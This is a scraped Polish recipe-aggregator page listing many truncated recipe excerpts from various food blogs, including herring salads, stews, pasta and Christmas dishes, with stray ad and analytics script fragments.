układamy pokrojone jajka *** *** Pomiędzy jajkami oraz na środku talerza układamy pokrojone pomidorki *** *** Jogurt naturalny oraz przeciśnięty czosnek mieszamy w małej miseczce. Całość doprawiamy solą i pieprzem *** *** Sałatkę polewamy równomiernie sosem jogurtowo-czosnkowym *** *** Całość posypujemy z wierzchu posiekaną zieloną pietruszką. Możemy też dodatkowo oprószyć mielonym pieprzem. Z podanych składników otrzymamy dwie porcje sałatki po około 250 kalorii każda *** *** SMACZNEGO

Blog z Apetytem
Najprostszy makaron na świecie: Cacio e pepe 249

masło, dodaj pieprz, wymieszaj, wlej wodę z makaronu i wsyp prawie cały ser, wymieszaj, dodaj makaron i gotuj około 2 minut cały czas mieszając aż ser się rozpuści, a sos nabierze aksamitnej konsystencji. Przełóż na talerz, posyp resztą sera i oprósz pieprzem. Nic więcej. Podawaj i jedz od razu. Artykuł Najprostszy makaron na świecie: Cacio e pepe pochodzi z serwisu

Kulinarna Polska
Dietetyczne nuggetsy z kurczaka. Bez tłuszczu i glutenu. PRZEPIS 1598

płatkach i układaj na blaszce. Piecz około 30 min. w temperaturze 180 stopni. Pod koniec można włączyć termoobieg. Rada: nuggetsy fajnie smakują z dipami. My podaliśmy je z domowym sosem czosnkowym (dwa ząbki czosnku roztarte z solą połączone z 200 ml jogurtu naturalnego i łyżką majonezu, doprawione oregano, solą i pieprzem) oraz ketchupem, który lubią dzieci. A jeśli nie liczycie

Kulinarna Polska
SAŁATKA ŚLEDZIOWA Z MUSZTARDĄ I MIODEM 144

ogórki konserwowe bardzo drobno pokroić w kostkę. Groszek odsączyć z zalewy. Wszystkie pokrojone składniki sałatki umieścić w misce. W miseczce wymieszać ze sobą majonez, musztardę i miód. Tak przygotowany sos dodać do sałatki, wszystko dobrze wymieszać. Sałatkę odstawić do lodówki na około 2 godziny

Zrób to smacznie
Placuszki prawie jak pizza 181

Pyszne i proste placuszki, idealne na kolacje ale też świetnie sprawdzą się jako obiad np z dodatkiem surówki i sosów. Polecam je nie tylko na ciepło, ale też jako zimną przekąskę. Smacznego!  Składniki : * 10 łyżek mąki pszennej  * 3 łyżki mąki ziemniaczanej  * szklanka wody mineralnej lekko gazowanej  * 2 jajka * sól, pieprz, oregano * ulubione dodatki : papryka, pomidor, pieczarki

Magiczne Życie Marty
Kacze udka duszone w sosie własnym 285

Aromatyczne kacze udka duszone w sosie  własnym to moja propozycja na pyszny obiad. Moje udka podałam z kaszą gryczaną  i buraczkami z chrzanem . Składniki: 4 kacze udka 2 cebule 2 ząbki czosnku 1 łyżka mąki pszennej olej do smażenia majeranek sól, pieprz Wykonanie: Mięso umyć, osuszyć, natrzeć majerankiem, posolić i popieprzyć. Odstawić na 1-2 godziny do lodówki

magiczna kuchnia Kasi
Surówka z cukinii i rzodkiewek z sosem bazyliowo-czosnkowym 245

naczynia miksującego wkładamy ząbek czosnku, listki bazylii, oliwę ( ze 2 łyżki ), sok z kawałka cytryny, niewielką ilość wody. Miksujemy. Doprawiamy do smaku solą i cukrem. Ponownie mieszamy. Przygotowanym sosem polewamy surówkę. I gotowe. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
Pulpety drobiowe z mięsa z rosołu w sosie pomidorowym 281

bułki tartej). Obtoczyć w mące. Smażyć na rumiano z każdej strony na maśle klarowanym. Zalać rosołem, dodać passatę pomidorową (z kartoniku). Gotować około 10 minut na małym ogniu. Jeżeli sos jest zbyt rzadki to dodać jeszcze odrobinę mąki

Tradycyjna Kuchnia
Tadżin z kurczaka z suszonymi morelami i cytrynowym kuskusem 187

smażenia posiekany czosnek. Dodać szafran razem z wodą, pomidory z puszki, przecier pomidorowy, miód, namoczone morele i rodzynki razem z wodę, w której się moczyły. Wszystko razem przemieszać. Jeśli sos jest zbyt gęsty dodać wody lub bulionu.  Podgrzewać wszystko razem kilka minut po czym dodać zrumienione mięso kurczaka. Dusić pod przykryciem przez 15 minut aż kurczak całkowicie się ugotuje

olalacooking
Niedzielny obiad: Kurczak faszerowany chlebem 171

dużo. Nie musisz spinać wykałaczkami kurczaka. Wstaw do piekarnika nagrzanego do 200 stopni. Piecz przez pół godziny. Zmniejsz temperaturę do 180 stopni i piecz przez 30 minut, polewając wytworzonym sosem kurczaka co 15 minut. Po godzinie pieczenia przewróć kurczaka plecami do góry i piecz go w ten sposób przez 15 minut. Następnie znowu odwróć piersiami do góry i podpiekaj jeszcze

Niedzielny kucharz
Gołąbki 199

bulionem, dosypujemy łyżeczkę kurkumy i dodajemy koncentrat pomidorowy. Na wierzch można ułożyć jeszcze kilka liści. Gotujemy pod przykryciem przez 1 - 1,5 godziny aż kapusta będzie miękka. Następnie odcedzamy sos i redukujemy go trochę, doprawiamy solą, pieprzem, majerankiem, słodką i ostrą papryką. Zagęszczamy mąką.  (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
udziec kozi z rękawa... 180

minut, pod koniec rozciąć rękaw i w 150C termoobieg piec z 10 minut powstały wywar przelać do garnuszka, śmietanę wymieszać z mąką i wodą, wlać i mieszać do zagęszczenia sosu., do smaku przyprawić przyprawą w płynie - mięso kozie jest bardzo delikatne, kruche, lekko odchodzi od kości bez użycia noża, smakuje lepiej od wieprzowiny, przypomina mi trochę cielęcinę...........SMACZNEGO

W Mojej Kuchni Lubię
Rolada serowa z kurczakiem i pieczarkami 242

pewno będą zachwyceni. Można ją jeść zarówno na ciepło, jak i na zimno. Świetnie smakuje bez jakichkolwiek dodatków, ale oczywiście można się pokusić np. o zaserwowanie jej z sosem czosnkowym. Z podanych niżej składników wychodzi ok. 12 roladek o szerokości 2,5 cm. (adsbygoogle = window.adsbygoogle || []).push({}); Rolada serowa z kurczakiem i pieczarkami – Składniki: Składniki na farsz pieczarkowy do rolady

Kulinarne Przeboje
Ragout warzywne z pastą curry i mleczkiem kokosowym 228

Dziś ragout (ragu), danie warzywne, ala gulasz, warzywa (w tym korzeniowe) duszone, pokrojone w kostkę i podduszone w sosie i pomidorach, delikatnie doprawione z dodatkiem pomidorów z puszki i mleczka kokosowego. Wszystko wykończone czerwoną pastą curry, świetny, świeży i zdrowy smak, uwierzcie! Wyśmienite danie, które podaję jako samodzielny obiad, z dodatkiem ziemniaków puree lub pieczywa, np. świeżo skrojonej bagietki

Zasmakuj Kuchni
MAKARON Z MIESZANKĄ GRZYBÓW, NATKĄ I TYMIANKIEM 175

Faza na grzyby u mnie trwa 😍  Mimo, że nie jest to u nas produkt tani, pozwalam sobie od czasu do czasu na takie grzybowe szaleństwo 😎 Uwielbiam zupę grzybową, sos grzybowy, grzyby ze śmietaną, a dziś ... serwowałam makaron z grzybami. Mieszanymi. Były mrożone podgrzybki i borowiki oraz świeże grzyby shiitake i brązowe pieczarki. Całość podkręcona natką i świeżym tymiankiem

Walijskie Pichcenie
Indyk w mleku kokosowym 165

oraz imbir, podsmażyć, dolać 200 ml bulionu, gotować 10 minut. Po tym czasie wlać mleko kokosowe, doprawić do smaku solą i pieprzem. Gotować na małym ogniu do momentu aż sos zgęstnieje. Smacznego

magiczna kuchnia Kasi
Makaron penne z kurczakiem, szpinakiem i brokułami 185

osoloną wodą gotujemy brokuły. Gdy brokuły będą miękkie dodajemy je do kurczaka i szpinaku. Zalewamy śmietaną. Doprawiamy solą i pieprzem. Makaron penne gotujemy w osolonej wodzie. Na makaron wykładamy sos, obficie posypujemy startym parmezanem i świeżo zmielonym pieprzem. Smacznego.     Artykuł Makaron penne z kurczakiem, szpinakiem i brokułami pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
PLACUSZKI OWSIANE (na słono) 168

Świetnie sprawdzą się jako dodatek do sałatek. Smakuje również wybornie podane w obecności ulubionego sosu. U mnie sałatka z kurczakiem, mixem sałat, pomidorkami koktajlowymi i cebulą czerwoną. SKŁADNIKI:(3 szt.) - płatki owsiane górskie - 80g - jaja - 2 szt. - woda -  3 łyżki - proszek do pieczenia (opcjonalnie) - 2 szczypty - przyprawy: sól himalajska - 2 szczypty, papryka słodka 2 szczypty - olej kokosowy

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Curry z kalafiora i ziemniaków. 234

oliwie podsmażyć posiekaną papryczkę chili, starty imbir oraz czosnek, dodając kurkumę i słodką paprykę (uwaga: szybko się przypala). Następnie dodać mleczko kokosowe i bulion. Gotować przez kilka minut. Do sosu dodać różyczki kalafiora i obrane, pokrojone w kostkę ziemniaki. Gotować pod przykryciem, na małym ogniu, do momentu aż warzywa zmiękną. Pod koniec dodać szpinak oraz posiekaną natkę pietruszki. Gotować

zadanie-gotowanie
Poświąteczna zapiekanka makaronowa 200

jest doprawiana) doprawiam solą , pieprzem i bazylią. Mieszam.  Na dno naczynia do zapiekania wylewam pół przecieru pomidorowego . Następnie kładę ugotowany makaron. Posypuję serem żółtym (połowa) , polewam pozostałym sosem pomidorowym. Następnie kładę warzywa i mięso. Posypuję serem.  Całość wkładam do piekarnika na ok 30 min w 180 stopniach.  Moja rada: Zapiekankę możemy podać z świeżą sałatą , surówką

Gotowanie Patki
Krewetki z sosem pomarańczowo imbirowym 164

pomarańczy wyciskam sok, drugą filetuję. Do warzywa dodaję sok z pomarańczy i redukuję chwilę, na końcu dodaję cząstki pomarańczy. Mąkę ziemniaczana rozpuszczam w 1/3 szklance wody i wlewam do sosu. Na końcu wrzucam krewetki, doprawiam według uznania. Krewetki podaję z ryżem z quinoa

wesoła kuchnia
Frytki z cukinii z parmezanem 148

Frytki z cukinii z parmezanem to szybka do przygotowania, a co najważniejsza dużo zdrowsza wersja frytek! Świetnie sprawdzi się podczas spotkania ze znajomymi czy imprezy karnawałowej. Parmezan i sos dodają dodatkowego smaku.   Składniki: 2 cukinie 30 g startego parmezanu Continue reading... Artykuł Frytki z cukinii z parmezanem pochodzi z serwisu Pasja Smaku

Pasja Smaku
oliwki w cieście francuskim 168

znów oplatamy. Na każdy pasek potrzebujemy 4 oliwki. Zaplecione nadziewamy na szaszłykowy patyczek, Ciasto smarujemy roztrzepanym jajkiem. Pieczemy w 180 st. C na złoty kolor. Podajemy z ulubionymi sosami Z kawałkami parówek postępujemy tak samo jak z oliwkami. Możemy równie naprzemiennie dać oliwki z kawałkami parówki

Domowy Smak Jedzenia
Kurczak ze szpinakiem i kaszą 201

Często u mnie pojawia się szpinak w potrawach. Jest on bardzo zdrowy i łatwy w przygotowaniu. Pasuje do niego praktycznie wszystko, dziś do sosu dodałam również ser gorgonzola, który nadaje dość charakterystycznego i wyrazistego smaku daniu. Polecam spróbować.  Kurczak ze szpinakiem i kaszą  składniki: 1 pierś z kurczaka 250 ml bulionu 1/2 szklanki kaszy pęczak duża garść szpinaku

Delusional Trine
Kluski śląskie z dziurką 167

Pyszne, szybkie w przygotowaniu, smakują nie tylko dzieciom. Najchętniej jedzone w niedziele, z modrą kapustą i roladami. Ostatnio przygotowałam takie na święta, z kapustą z grzybami i schabem w sosie.   Kluski śląskie z dziurką Składniki:  500 g ziemniaków  1 jajko  mąka ziemniaczana sól do smaku  Przygotowanie:  Ziemniaki obieramy i gotujemy do miękkości.  Odcedzamy

Moja smaczna kuchnia
Rolada z mielonego mięsa 259

zmiękną dodajemy pokrojony w pół plasterki por, poszatkowaną kapustę, plastry pieczarek i kiełbasy. Dodajemy również przyprawy- wg własnego smaku i nadal dusimy. Gdy jarzyny będą już miękkie dodajemy wymieszany sos: Miksujemy koncentrat pomidorowy, śmietanę, jajko, mąkę oraz serek topiony. Wlewamy do jarzyn, mieszamy aż do zagotowania i zgęstnienia, odstawiamy do przestudzenia, a następnie na kilka godzin do lodówki. Rolada: Mięso

Kuchnia w czekoladzie
śledzie z ajvarem 215

wiec wykorzystujemy piwniczkę u Rafała Mamy. Tam mamy swoją szafkę i nasze przetwory dobrze się tam mają. Słoiczek ajvaru zawsze lubię mieć w domu, ponieważ jest idealnym dodatkiem do sosów. Tym razem wykorzystałam je do rybek. Śledziki po kaszubsku czy salsa to jest to, to może właśnie ajvar :) i tak to wyszło. A wyszło bardzo dobrze :)  Składniki: płaty mintaja

Gotowanie z pasją
Tortellini z klopsikami i szpinakiem 523

wrzucamy na gotujący się bulion. Gotujemy 2 minuty, następnie dodajemy tortellini. Gotujemy kolejne 4 minuty. Dodajemy szpinak i 2 łyżki mąki rozrobione w 1/2 szklanki wody. Gotujemy aż sos zgęstnieje i szpinak będzie ugotowany.  (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Karkówka w kapuście kiszonej 207

potrawy zostanie na długo zapamiętany. Na moim blogu znajdziecie też inne przepisy na dania mięsne , które z powodzeniem możecie przygotować w okresie zimowym. To jest na pewno polędwica w sosie grzybowym , czy schab z jabłkami . Wszystkie potrawy wam na pewno zasmakują. Zabieramy się do pracy. Zobacz mój film z przygotowania karkówki Składniki – Karkówka w kapuście kiszonej 700 g karkówki

Kuchennyviral.pl
Szybki makaron z kurczakiem, szpinakiem i pomidorkami koktajlowymi 199

oleju podsmażamy cebulę i czosnek. Dodajemy kurczaka, smażymy do zarumienienia, następnie pomidorki i szpinak. Całość smażymy przez około 10-15 minut. Dodajemy sól, pieprz, śmietankę. Dusimy do momentu aż sos zgęstnieje. Mieszamy go z makaronem

Szefowa kuchni
Roladki imprezowe z łososiem i szpinakiem 203

samym środku ułożyłam pasek z wędzonego łososia.  Całość zrolowałam, zawinęłam w folię aluminiową i wstawiłam na kilka godzin do lodówki. Podczas duszenia się szpinaku wytworzyła się odrobina sosu, zanim wyłożyłam go na placek, nabierałam farsz łyżką i odciskałam namiar płynu.  Łososia można dodać oczywiście więcej jeśli ktoś lubi.  Po inną wersję roladek zapraszam  tutaj . Smacznego! Lidka

Pieprzyć z Fantazją
JAJKA FASZEROWANE TUŃCZYKIEM (keto, LCHF, paleo, bez glutenu i laktozy) 464

dzień. Połączenie jajek oraz ryby z warzywami daje naprawdę przepyszny efekt. Składniki – jajka faszerowane tuńczykiem: 4 duże jaja (u mnie rozm M) 120 g odsączonego tuńczyka w sosie własnym/w wodzie 30 g czerwonej lub żółtej papryki 30 g ogórka kiszonego 30 g (2 łyżki) majonezu domowego lub dobrej jakości (patrz na skład!) 3 g (1 łyżeczka) posiekanej natki

Ola la LCHF
Spaghetti z aromatycznym sosem pomidorowym i parmezanem 186

Najprostszy, najlepszy sos, Kuchnia włoska: im mniej składników, tym lepiej. Zawsze, kiedy po raz pierwszy idę do włoskiej restauracji-zamawiam najprostsze danie, jeżeli się obroni-wiem,że reszta z menu też musi być dobra. Włosi uważają,że w prostych daniach najtrudniej ukryć "kuchę", Jeżeli nam coś poszło nie tak -to nie ukryjemy tego w daniu z 3-4 składników.Dobre

Kopystką po garach
Forszmak 14938

koncentrat pomidorowy. Wszystko gotujemy na wolnym ogniu pod przykryciem jakieś 30 minut, pod koniec wrzucamy plaster cytryny. Mąkę wsypujemy do kubka z wodą, mieszamy. Wlewamy do tego trochę gorącego sosu z gotowania, mieszamy. Zawartość kubka wlewamy do forszmaka (najlepiej przez sitko) i znowu mieszamy. Zagotowujemy. Potrawa najlepiej smakuje na drugi dzień

Kardamonovy
Kotlety siekane z kurczaka z serem i majonezem 13663

stron na złoty kolor. Usmażone kotleciki odsączyć z nadmiaru tłuszczu na ręczniku papierowym. Podawać jako obiad w towarzystwie ziemniaków i ulubionej surówki lub jako przekąskę na imprezę z ulubionymi sosami, np. czosnkowym . Smacznego! Zobacz również przepis na: kotlety po francusku (adsbygoogle = window.adsbygoogle || []).push({}); The post Kotlety siekane z kurczaka z serem i majonezem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Co zrobić z resztek jedzenia ze Świąt 181

aromatycznym bulionie z warzyw, orientalnych przypraw i – szkieletu oraz kostek z upieczonego w niedzielę kurczaka. Rosół można wykorzystać na wiele sposobów, np. jako bazę do innych zup lub sosów. SZARLOTKA Z CHLEBA Doskonały patent na nadmiar pieczywa lub czerstwy chleb. Przepis na tę szarlotkę jest prosty, wychodzi zawsze, smakuje wspaniale i prawie w ogóle nie wymaga pracy. DOMOWE TORTILLE, CZYLI

Niedzielny kucharz
Gulasz z indyka z warzywami, prosty i pyszny przepis na obiad 165

zaczęło się myślenie, co zrobić jak to połączyć. Kotlety, ziemniaki jednak nie, to by było nie to co za mną chodzi, bo chodziło za mną coś pysznego, z sosem, lekko ostrego. Ponieważ obierając ziemniaki, zaczęłam ja kroić w kostkę, ej i co teraz ? I wtedy przyszedł pomysł na gulasz i wszystkie składniki w jednym garnku :) Tak to jest

Kuchnia na wzgórzu
Krewetki koktajlowe 249

sylwestra lub na domówce możecie zaskoczyć gości podając np. krewetki koktajlowe. Pięknie się prezentują i świetnie smakują. Do krewetek w kieliszkach są dwa różne sosy: koktajlowy i z awokado. W celu podkręcenia smaku można dodać jeszcze kawałek papryczki chili Continue reading... Artykuł Krewetki koktajlowe pochodzi z serwisu Pasja Smaku

Pasja Smaku
Placki z selera 157

posiekaną natkę pietruszki. Masę dokładnie wymieszaj. Na patelni rozgrzej niewielką ilość oliwy. Wykładaj niewielkie ilości ciasta i smaż ok. 2 minut z każdej strony. Gotowe placuszki podawaj np. z sosem czosnkowym. Smacznego     Artykuł Placki z selera pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Kurczakowe fajitas 136

dzisiaj mam dla was szybkie danie obiadowe. Tak zwane kurczakowe fajitas. Można je podać z ryżem, lub po prostu zawinąć w placek tortilla z sałatą i na przykład sosem czosnkowym. Jest to bardzo szybkie i łatwe danie jednogarnkowe.  Kurczakowe fajitas składniki: 2 piersi z kurczaka 1 zielona papryka 1 żółta papryka 1 czerwona papryka 2 - 3 czerwone cebule (adsbygoogle

Delusional Trine
Proste i zdrowe przystawki na Sylwestra / karnawał 7385

papryka, pasta Wawrzyniec z grillowaną cukinią i curry. Warzywa kroimy w słupki. U mnie były to: czerwona i żółta papryka, marchewka oraz seler naciowy. Podajemy z pastą lub ulubionym sosem. Taka przystawka może wydawać się banalna, ale zapewniam, ze znajdą się chętni – na imprezie zawsze ma się ochotę chrupać, a wbrew pozorom nie każdy lubi chipsy. Trufelki z amarantusa

Poezja smaku
WEGE BURGER 219

rękach kulki i układamy je kolejno na patelni, lekko przyklepując każdą. --- Do przygotowania burgerów potrzebujemy bułki do burgerów oraz opcjonalnie: liście sałaty, pomidor, ogórek (np. konserwowy), ser żółty, sos (np. tatarski). Smacznego

wege i kropka
Placuszki dyniowe z cukinią 151

trzepaczki tak aby nie było grudek. Doprawiamy solą, pieprze, ostrą, słodką papryką i curry. Dodajemy cukinię i dynię. Całość dokładnie mieszamy. Smażymy na patelni. Można podać na przykład z sosem czosnkowym (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
TRADYCYJNA SAŁATKA ŚLEDZIOWA 232

kukurydzy konserwowa papryka i ogórki czerwona cebula  sól, pieprz majonez, jogurt naturalny ( pół na pół)  Sposób przyrządzenia: Wszystkie składniki pokroić  w kostkę, doprawić solą, pieprzem i sosem jogurtowo- majonezowym. Udekorować bądź

pieprzny smaczek
Śledzie po myśliwsku 180

Śledź z borowikami , w gęstym i aromatycznym sosie, to dobry pomysł na wigilijnego śledzika dla każdego, kto lubi zarówno tę rybę jak i grzyby. Razem smakują bardzo dobrze. Zobacz przepis na klasyczne śledzie w oleju ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Pierś z kurczaka w sosie musztardowym 149

Smaczny obiad w mniej niż 30 minut? Tak, to możliwe. Wystarczy pierś z kurczaka, ryż, śmietanka 30% i musztarda. Do tego odrobina posiekanego pora i mamy

Programista w kuchni
Burger wołowy z jalapeño, buraczkami zasmażanymi, rukolą i sałatą strzępiastą 130

nich dodatkowo buraczki zasmażane kupione w sklepie (dostępne w słoikach), rukolę oraz sałatę strzępistą. Całość została zamknięta w wiejskiej bułce. Co ciekawe do ich przygotowania nie użyłem żadnego sosu, a smakowały rewelacyjnie. Pikantne mięso oraz rukola doskonale łączą się z buraczkami zasmażanymi, które neutralizują nieco ostrość tworząc bardzo ciekawy smak. Jeżeli nie mieliście jeszcze okazji spróbować takiej kompozycji koniecznie musicie

Programista w kuchni
Gulasz z jelenia 148

cebula się zeszkli dodajemy wcześniej przygotowane mięso oraz pieczarki pokrojone na półplasterki. Całość smażymy przez około 30 minut. Następnie blendujemy ze sobą małą papryczkę chilli oraz pomidory. Tak przygotowany sos dodajemy do smażącego się mięsa i mieszamy. Po około 15-20 minutach dodajemy pokrojone w kostkę ogórki kiszone. Po kolejnych 10 minutach dodajemy mrożony groszek. Całość dusimy jeszcze przez

Programista w kuchni
Śledzie po kaszubsku 227

passatę i wrzucam rodzynki. Gotuję ok. 5 minut, mieszam. Po tym czasie dodaję ocet i pieprz, przyprawiam do smaku, wg uznania – w razie konieczności wsypuję też nieco cukru. Sos wkładam do miski, odstawiam na bok i studzę. Dodaję pokrojone śledzie, mieszam delikatnie łyżką. Wkładam do słoika lub pozostawiam w szklanej misce i przykrywam dobrze, odstawiam

Zasmakuj Kuchni
Śledzie po tatarsku 189

Magda Sos tatarski to świetny dodatek nie tylko do wędlin – okazuje się, że jego kwaskowaty smak i wszystkie dodatki w środku pasują do śledzi. Drobno pokrojone marynowane pieczarki, ogórek konserwowy, do tego ostrość cebuli, wszystko to idealnie komponuje się w smaczną sałatkę śledziową. Polecam dodać do nich także pieprz cytrynowy lub czarny pieprz i odrobinę skórki z cytryny

Smaczna Strona
PRZEPISY NA WIGILIĘ: TARTA Z RYBĄ PO GRECKU 179

tropy prześledziła Agnieszka Kręglicka w jednym z felietonów dla „Wysokich Obcasów” (doszukując się podobieństwa ryby po grecku do psari speciota, ryby pieczonej pod lekkim warzywno-winnym, głównie pomidorowym sosem). Ryba a la ciasto Niezależnie od rodowodu, ryba po grecku stała się jednym z must have na polskiej wigilii. U nas w domu też tak jest, choć stoi raczej na skraju

Niedzielny kucharz
wigilijne gołąbki z ryżem i grzybami 165

pieprz do smaku wykonanie farszu: Grzyby zalewamy wodą i pozostawiamy do namoczenia najlepiej na noc, a następnie gotujemy do miękkości. Następnie odcedzamy (wywaru nie wylewamy przyda się do sosu). Cebulę obieramy, kroimy w kostkę i podsmażamy. Do lekko podsmażonej cebuli dodajemy grzyby i podsmażamy, mieszamy a następnie mielimy maszynką. Ryż gotujemy al dente. Do ryżu dodajemy grzyby, mieszamy i doprawiamy

Domowy Smak Jedzenia
Jajecznica z mlekiem 227

Tym razem danie typowo śniadaniowe – jajecznica z mlekiem. Część z Was zdziwi dodatek mleka, ale to właśnie ono sprawi, że będzie znacznie bardziej puszysta i

Kulinarnyblog.pl - wiesz jak gotować!
Pulpety w sosie grzybowym 218

minut. Jeśli podczas gotowania woda za bardzo nam odparowała to dolać czystej wody lub wody w której moczyły sie grzyby. Całość zagęścić mąką rozmieszaną w niewielkiej ilości wody. Sos doprawić do smaku. Gotowe pulpety podawać z dowolnymi dodatkami, u mnie kluski śląskie i buraczki z cukinią

Monia miesza i gotuje
Bliny ziemniaczane na drożdżach 183

łyżkę mąki lub bułki tartej. Na rozgrzany olej, kłaść łyżką placuszki i smażyć z obu stron na złoty kolor. Po usmażeniu podawać z kwaśną śmietaną, smażonymi borówkami lub innym sosem wedle uznania

Tradycyjna Kuchnia
Prawdziwa zupa cebulowa – na bulionie wołowym, z porto 212

wypadku do zupy cebulowej najlepiej zrobić bulion z wołowej kostki bio o obniżonej zawartości sodu i podkręcić go do smaku suszonym grzybkiem (lub nawet trzema- umami!), paroma kroplami sosu sojowego (znowuż umami!), skórką odciętą z parmezanu (i jeszcze więcej umami!), łyżeczką ziarnistego pieprzu i pęczkiem natki pietruszki (podobny patent pokazywałam już W TYM PRZEPISIE , sprawdźcie!). Po wlaniu bulionu wołowego zupę

Karo in the Kitchen
Śledzie po cygańsku 188

lekko pieprzymy. Ogórki konserwowe i cebulę kroimy w drobną kostkę. Czosnek przeciskamy przez praskę. Łączymy ogórki, cebulę, czosnek, musztardę i keczup. Mieszamy. W słoiczku układamy naprzemiennie warstwami śledzie i sos. Wkładamy do lodówki. Podajemy schłodzone. Smacznego

Smak mojego domu
Ruskie paluszki z pieczarkami , pyszny obiad 184

tartej , odstawiamy do lodówki na około 30 minut . Przy smażeniu nie będą się rozwalać . Smażymy na smalcu lub na oleju na złoty kolor z obu stron.Serwujemy na gorąco z sosem czosnkowym…mniam Smacznego ! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Ruskie paluszki z pieczarkami , pyszny obiad pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Śledzie z marynowanym imbirem / Herring with pickled ginger 196

piórka sok z 1 cytryny 100 g marynowanego imbiru ze słoiczka 2 liście laurowe 5-6 ziarenek ziela angielskiego Składniki na zalewę: 250 ml oleju roślinnego 4 łyżki sosu sojowego 2 łyżki płynnego miodu Przygotowanie: Wymieszaj dokładnie wszystkie składniki zalewy. Układaj w słoiku naprzemiennie warstwy: śledzie, cebulę skropioną sokiem z cytryny i imbir aż do wyczerpania składników wkładając gdzieniegdzie liście

karmelowy
Piernik na piwie 155

uznania Przygotowanie: Piekarnik ustawiam na 180 *C. Podgrzewam w garnuszku masło, miód i cukier.  W dużej misce mieszam mąkę z sodą i przyprawami.  Wlewam gorący miodowy sos do mąki z sodą i przyprawami, mieszam. Dodaję piwo, mieszam.  Teraz pora na całe jajka, ubijam je na pianę i dodaje do miodowo-mącznej, mieszam dokładnie Gdy wszystko dokładnie się

Proste Potrawy
Gęś w piernikowym sosie 168

Jeśli lubicie gęsi na święta tak jak ja to ten pomysł powinien wam przypaść do gustu. To gęś w piernikowym sosie z powidłami. To taki mój mały ekstrawagancki pomysł na to jak urozmaicić nasze tradycyjne danie. Pierniczki czekoladowe i gęś, fajne i zaskakujące połączenie prawda? Czytaj więcej

Bernika - moj kulinarny pamietnik
Karkówka pieczona w powidłach 180

godziny. Po tym czasie wyjmujemy mięso ( pozostawiamy w tym samy naczyniu) i dolewamy wody.  Przykrywamy. Pieczemy w 180 stopniach ok 1 godziny. Podajemy z powstałym sosem lub jako wędlinę do pieczywa

Gotowanie Patki
Najlepsze przepisy na śledzia 142

żurawiną Sałatka śledziowa z buraczkami Śledź w soku z cytrusów z czarnuszką Prawdziwy matias z cebulą, jabłkiem i granatem Marynowane śledzie II Jarzynowa sałatka ze śledziem Śledzie w sosie musztardowym Śledź z cebulą i jabłkiem Śledzie remoulade z selerem Marynowane śledzie Korzenny śledź z rodzynkami Tatar ze śledzia Śledź pod buraczkiem Rolmopsy z ogórkiem Domowe rolmopsy z papryką Śledź

Kulinarne przygody Gatity
33 propozycje na świąteczne sałatki 17685

serem i kukurydzą Sałatka z porem, wędzonym kurczakiem i żółtym serem Warstwowa sałatka z szynką i porem Zielona sałatka z jajkiem i łososiem Sałatka z tortellini Sałatka śledziowa z sosem jogurtowo-musztardowo-koperkowym Sałatka śledziowa Sałatka śledziowo-buraczana Sałatka ryżowo-paprykowa siostry Marii Sałatka ryżowa z kurczakiem i ananasem Sałatka „puszkowa” – z papryką, porem, kurczakiem i serem

Smaki Na Talerzu
Wigilia bez mleka. Świąteczne przepisy dla dorosłych i dla dzieci 288

schab bije je wszystkie na głowę. Schab upieczony według tego przepisu jest idealny do jedzenia na zimno do chleba. Można go także podać na ciepło na świąteczny obiad z sosem, który powstaje w trakcie pieczenia

Dieta bez mleka
Szakszuka z brokułami i szynką parmeńską 150

odcedzony odłożyć na bok. Cebulę pokroić w średniej wielkości kostkę i zeszklić na maśle. Dorzucić drobno pokrojony czosnek. Wlać pomidory. Szynkę parmeńską podzielić na kawałki i dorzucić do sosu. Pokroić mozzarellę w kostkę i dodać około 1/3 na patelnię. Dobrze wymieszać i podsmażać do rozpuszczenia się sera. Wlać ocet. Doprawić cukrem i pieprzem. Zrobić otwory i wbić jajka. Dodać

Karola gotuje
Śledzie w occie estragonowym 206

Matki Natury ).   Estragon to niekwestionowany król ziół we francuskiej kuchni – świeże liście dodaje się do sałatek, zup, używa ich jako dekoracja dań. Listki estragonu są składnikiem podstawowych francuskich sosów: tatarskiego, remoulade, bearnaise. Estragon uzupełnia i podkreśla smak ryb, skorupiaków, kurczaka, indyka, dziczyzny i dań naszykowanych z jajek. Świetny dodatek do majonezu, użytego jako dressing do jaj czy zielonej sałaty

Karo in the Kitchen
ŚLEDZIE W OCCIE Z CEBULKĄ: przepis, jak zrobić 315

zalewie octowej z cebulką o wyrazistym smaku i aromacie ziela angielskiego oraz liści laurowych. Prawdziwe, domowe śledzie w occie, których nie może zabraknąć na świątecznym stole. Absolutnie rewelacyjne z sosem chrzanowym, w towarzystwie cebulki i posiekanego koperku. Jak zrobić śledzie w occie ? Przygotowanie pysznych marynowanych śledzi wcale nie jest trudne. Należy pamiętać o zakupie dobrej jakości śledzi, nie przesolonych. Jeżeli

Moja Książka Kucharska
Wegański bigos z fasolą 169

kapusty 1 marchewka 1/2 cebuli 1/2 jabłka 150 g fasoli białej Garść śliwek Garść suszonych grzybów 2 łyżki oliwy  Pieprz 1 liść laurowy 2 ziela angielskie 2 łyżki sosu sojowego (można pominąć) 1 łyżka papryki słodkiej 1 łyżeczka kminku zmielonego 1 łyżeczka majeranku Opcjonalnie: pietruszka, seler  Przygotowanie: Fasolę zalewamy wrzątkiem i odstawiamy na 3h.  W garnku

Czarnawisienka
Wigilijne śledzie z suszonymi grzybami, żurawiną i miodem 219

